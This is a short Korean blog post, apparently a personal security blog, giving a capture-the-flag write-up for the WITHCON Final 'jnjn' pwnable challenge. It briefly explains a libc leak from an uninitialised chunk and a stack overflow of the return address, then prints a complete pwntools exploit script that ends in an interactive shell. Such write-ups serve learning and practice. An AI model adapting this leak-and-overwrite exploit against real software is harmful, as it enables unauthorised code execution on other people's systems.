Notice
Recent Posts
Recent Comments
Link
«   2025/06   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

WITHCON Final jnjn 본문

Security/Pwnable

WITHCON Final jnjn

Cdor1 2017. 1. 20. 22:40

후기 : 예~전에 풀었던 문제 익스플로잇 코드를 아직 안올렸었다....

list함수에서 chunk가 초기화되었는지 체크를 하지 않기때문에 바로 libc릭이 가능하고

이를 통해 스택 오버플로우를 이용해 ret를 덮고 익스플로잇 하면 된당


from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/pwnable/jnjn')

print s.recvuntil('>  ')
s.sendline('1')
for i in range(0,4):
	print s.recvuntil(': ')
	s.sendline('256')

print s.recvuntil('>  ')
s.sendline('2')
print s.recvuntil('which one do you want to delete : ')
s.sendline('0')

print s.recvuntil('>  ')
s.sendline('3')
print s.recvuntil('name : ')
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3be7b8
oneshot = libc_base + 0x4647c
print '[*] leak : ' + hex(leak)
print '[*] libc_base : ' + hex(libc_base)
print '[*] oneshot : ' + hex(oneshot)
print s.recvuntil('>  ')
s.sendline('1')
print s.recvuntil(': ')
s.sendline('100')
print s.recvuntil(': ')
s.sendline('A'*88 + p64(oneshot))
s.sendline('cdor1')
s.sendline('cdor1')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

pwnable.tw start  (0) 2017.01.24
YISF 2016 pwn200  (0) 2017.01.21
HITCON 2014 stkof  (0) 2017.01.20
TJCTF blag  (0) 2017.01.19
Hack.lu CTF 2014 OREO  (0) 2017.01.18
Comments